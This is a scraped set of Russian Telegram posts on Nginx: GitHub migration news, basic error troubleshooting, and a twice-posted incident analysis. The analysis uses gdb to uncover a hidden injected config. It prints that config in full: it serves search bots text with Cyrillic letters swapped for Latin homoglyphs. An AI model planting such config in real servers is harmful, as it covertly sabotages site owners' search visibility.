Разработчики Nginx перенесли официальный репозиторий проекта на GitHub и задействовали платформы GitHub Issues и GitHub Discussions вместо системы отслеживания ошибок trac.nginx.org и обсуждений в почтовых рассылках.
Для приёма изменений от других участников проекта и разработчиков реализована возможность использования pull-запросов. Система отслеживания ошибок trac.nginx. org переведена в режим только для чтения. Для того, чтобы дать разработчикам и пользователям время на адаптацию к новому укладу, кроме использования GitHub, до 31 декабря будет сохранена возможность отправки патчей и получения консультаций через списки рассылки.
#nginx
Please open Telegram to view this post
VIEW IN TELEGRAM
Начинаем объемную рубрику, которая посвящена ошибкам веб-сервера Nginx, с которыми вы сталкивались или столкнетесь
Стартуем с самой тяжелой ошибки — Unable to connect/Refused to Connect
Если при попытке получить доступ к вашему сайту вы видите следующие ошибки — Firefox can’t establish a connection to the server at www.example.com, или www.example.com refused to connect, то причины следующие:
sudo systemctl status nginx
. Запустите Nginx с помощью
sudo systemctl start nginx
. Если Nginx не удается запустить, запустите sudo nginx -t
, чтобы выяснить, нет ли ошибок в вашем конфигурационном файле, и проверьте логи (sudo journalctl -eu nginx
), чтобы выяснить, почему он не запускается.Брандмауэр блокирует порты 80 и 443: если вы используете брандмауэр UFW на Debian/Ubuntu, выполните sudo ufw allow 80,443/tcp, чтобы открыть TCP порты 80 и 443.
— Если вы используете Firewalld на RHEL/CentOS/Rocky Linux/AlmaLinux, выполните
sudo firewall-cmd –permanent –add-service={http,https}
, затем sudo systemctl reload firewalld
, чтобы открыть TCP порты 80 и 443.Fail2ban: если ваш сервер использует его для блокировки вредоносных запросов — представим, fail2ban запретил ваш IP-адрес.
Решение: выполните команду
sudo journalctl -eu fail2ban
, чтобы проверить, не заблокирован ли ваш IP-адрес. Вы можете добавить свой IP-адрес в список fail2ban ignoreip, чтобы он получил разбан.#Nginx |
Please open Telegram to view this post
VIEW IN TELEGRAM
Продолжаем сложный разбор полетов ошибок веб-сервера Nginx.
• Ошибка 404 Not Found: ошибка означает, что Nginx не может найти ресурсы, которые запрашивает ваш веб-браузер
Причины могут быть следующие:
1. Корневой каталог web не существует на вашем сервере. В Nginx корневой веб-каталог настраивается с помощью директивы root, например, так:
root /usr/share/nginx/linuxbabe.com/
; Убедись, что файлы вашего сайта (HTML, CSS, JavaScript, PHP) хранятся в правильном каталоге.2. PHP-FPM не запущен. Вы можете проверить статус PHP-FPM с помощью
sudo systemctl status php7.4-fpm
(Debian/Ubuntu) или sudo systemctl status php-fpm
.3. Вы забыли включить директиву try_files $uri /index.php$is_args$args в конфигурационный файл сервера Nginx. Эта директива необходима для обработки PHP-кода.
4. На вашем сервере нет свободного дискового пространства. Попробуйте освободить немного дискового пространства. Вы можете использовать утилиту ncdu (
sudo apt install ncdu или sudo dnf install ncdu
) чтобы узнать, какие каталоги занимают большое количество дискового пространства.• Ошибка 403 Forbidden: здесь все просто — вам запрещен доступ к ресурсам запроса, а причины такого исхода событий интересные до жути
1. Администратор сайта блокирует публичный доступ к запрашиваемым ресурсам с помощью Black списка IP-адресов или других методов.
2. На сайте может использоваться брандмауэр веб-приложения, например ModSecurity, который обнаружил атаку вторжения, поэтому заблокировал запрос.
3. Некоторые веб-приложения могут показывать другое сообщение об ошибке, когда происходит запрет 403. Оно может сказать вам, что “secure connection failed", хотя причина та же.
#Nginx |
Please open Telegram to view this post
VIEW IN TELEGRAM
Сетевик Джонни // Network Admin
Если моя мысль верна и проблема только в переменной ngx_dump_config попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g присутствует и надеемся, что оптимизация -O2 нам не помешает. При этом, раз я не знаю как ngx_dump_config могла быть обработана в case 'T':, не будем вызывать этот блок, а установим её используя case 't':
По шагам:
— устанавливаем точку останова в функции main()
— запускаем программу
— изменяем значение переменной определяющей вывод конфига ngx_dump_config=1
— продолжаем/завершаем программу
Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Рассмотрим по порядку что же здесь происходит, итак, определяются User-Agent'ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Исключаются служебные страницы wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
И для тех, кто попал под оба условия:
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'(см. прикреплённое фото). Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'. Не берусь рассуждать, как это влияет на SEO, но вряд ли такая буквенная мешанина позитивно скажется на позициях в выдаче.
#Linux #nginx #unix |
Please open Telegram to view this post
VIEW IN TELEGRAM
Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.
Если моя мысль верна и проблема только в переменной
ngx_dump_config
попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g
присутствует и надеемся, что оптимизация -O2
нам не помешает. При этом, раз я не знаю как ngx_dump_config
могла быть обработана в case 'T'
:, не будем вызывать этот блок, а установим её используя case 't'
:По шагам:
– устанавливаем точку останова в функции
main()
– запускаем программу
– изменяем значение переменной определяющей вывод конфига
ngx_dump_config=1
– продолжаем/завершаем программу
Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Определяются User-Agent'ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Исключаются служебные страницы wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
И для тех, кто попал под оба вышеперечисленных условия
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'
Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'.
#Linux #nginx #unix |
Please open Telegram to view this post
VIEW IN TELEGRAM